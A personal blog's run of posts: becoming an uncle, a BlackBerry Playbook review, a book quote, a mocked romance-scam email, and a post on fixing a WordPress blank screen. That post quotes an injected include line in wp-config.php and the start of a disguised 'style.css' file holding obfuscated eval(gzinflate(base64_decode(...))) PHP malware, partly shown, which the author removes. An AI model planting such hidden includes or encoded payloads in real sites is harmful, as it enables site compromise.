I’m an uncle

Sat Mar 2

I’ve been a dad for over 16 years, but I’ve just become an uncle for the first time.

Baby neice

Take two, twice a day

Sat Feb 16

I’ve now had a BlackBerry Playbook for a little over four weeks, and it’s been an interesting ride. This is my first tablet and, to be honest, I wasn’t sure how much I’d use it. Like many geeks and their toys it was the getting that motivated me, not necessarily the having. Selfish, I know.

OK, so what have I used it for? Instant access to GMail and Twitter has enabled me to be more wired than before, although I’m not sure I (or my wife) would consider that a good thing. I’ve also been able to check the weather easily, and with the snow we’ve had recently that is definitely a good thing.

It’s kept my young son entertained, a big scratch on the screen is proof of that. My wife and I have also had our very own Book At Bedtime as we listened to a downloaded audiobook. And, of course, I’ve been able to test and research responsive websites. All in all I love it.

There are downsides. Battery life isn’t amazing, and the keyboard is difficult to use for anything more than a few sentences, especially as accessing special characters requires flipping to a different keyboard view. This slows me down as I’m a stickler for correct spelling and punctuation; l33t-speak gr8s on me. I’ve also found no decent development apps, but that’s not surprising and certainly isn’t a deal-breaker.

The real power of tablets is instant access to a decent sized screen, almost zero start-up times and very quick loading for apps. That means the technology gets out of the way and you get to the content you want quicker. Interestingly a friend said this week that he’s using his iPad less since he upgraded his PC with a solid state drive, and boot-up takes 4 seconds. Laptops aren’t as handy as tablets, but they do benefit from a proper keyboard and bigger screen. I guess that’s the niche netbooks are trying to fill.

Using a touch-screen device a lot has also given me a greater appreciation for how apps need to be written to cope with touch inputs. It’s also shown me that a whole new breed of apps is possible, and challeged me to think about how to respond to this new world in my own software development.

So, it’s been an interesting experience. I doubt I’ll ever do without a tablet again, at least until the next device revolution comes along.

P.S. This post was written partly in the car, partly in a cafe, on my Playbook. Who knows, I might even start blogging more often.

Having a dream

Wed Nov 14

I’ve been reading a book recently called “Gallant Women” which is a collection of stories of inspiring women and girls. Printed by the National Sunday School Union in the 1930′s it’s all a bit jolly-hockey-sticks, but entertaining all the same.

A quote in the story of Mary Jones particularly struck me:

But what is the good of a dream if it is concerned only with everyday and easy thing! A dream worth having is one which will take all your persistence and all your resources, and then need almost a miracle to be added, if it is ever to come true.

WordPress White Screen of Death Woes

Tue Aug 21

Damn. Just had to fix a problem on wibsite.com where nobody could see their Dashboards. There are lots of references to the White Screen of Death in WP, but none made a difference. In the end I spotted a cheeky line that had been inserted in my wp-config.php:

@require_once('../Maildir/tmp/style.css');

Whaddyaknow, that file was there, but it definitely wasn’t a CSS stylesheet:

<?php

/* ********************************************************************
*
* begin : Saturday, Feb 23, 2009
* copyright : (C) 2001 The Sequare Group
* email : support@sequare.com
*
* $Id: system,v 1.74.2.22 2005/12/30 09:51:01 acydburn Exp $
* Type - System configuration file
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2006 Bharat Mediratta

And the actual code was:

eval (gzinflate(base64_decode(
'pf1rs2XHcSQKfm6Z6T9UY2gDwBoq5vvRFCTxUpBEM4nUgNTtuUNqYCXgkCwTgEIX'
.'CiLZov777JXx8swVR7xto26SQJ5z9l6PfER4eLj/5V/8+V9+85tv/vRP/vRPvveb'
.'N9+++/h7n/3sk0//z08+/cX7f/fzn//jZ3/305/9/P1//sHjp69+/fT17cf/9Pi3'
.'z374t5/8hH/p+oj44uMX3757+9nbp2++fPX50wfv/fa3v3353kfvvffR+vGH+nsf'
.'f/VF/YD+cQ1+8frtx+/evv7qA/zr96+/fv+j99//yL2ylzb66Sf/r3/65Gc//+yf'
.'Pv3x+//8oX7i+pLHP1wDLx7/971vn97+29Pbz159/vnTN+8++/LV17/+7nFvj4v+'

Etc. Eval’d PHP? Looks like a hack to me. Removing the line from my wp-config.php file got everything back to normal. Now I’m hardening my WP, making it tougher than old boots.

If you get the White Screen of Death look carefully through your wp-config.php file for unwanted visitors.

More spam

Fri Feb 3

As a follow-up to my last post about spam, here’s an email I just got:

Hi my darling, dear friend.
How are you?
Writes to you beautiful, blond, brought up. Decent and very lovely girl.
My name is – Yuliya. To me of 29 years.
I from Russia. I want to find the present and unique love.
I already burned about love. I hope it won’t repeat any more.
I want to get acquainted with you more close.
To learn you, to learn your interests and preferences.
I hope you not against it? It only dialogue.
I will necessarily send you my photo
In the following letter. I hope to you it will be pleasant.
I with impatience will wait for your answer

To this address: [email address removed]

In expectation of your answer, whole, Yuliya.

So then, Yuliya. You hope your burning experience won’t repeat any more, eh? My answer, whole, is to see to doctor.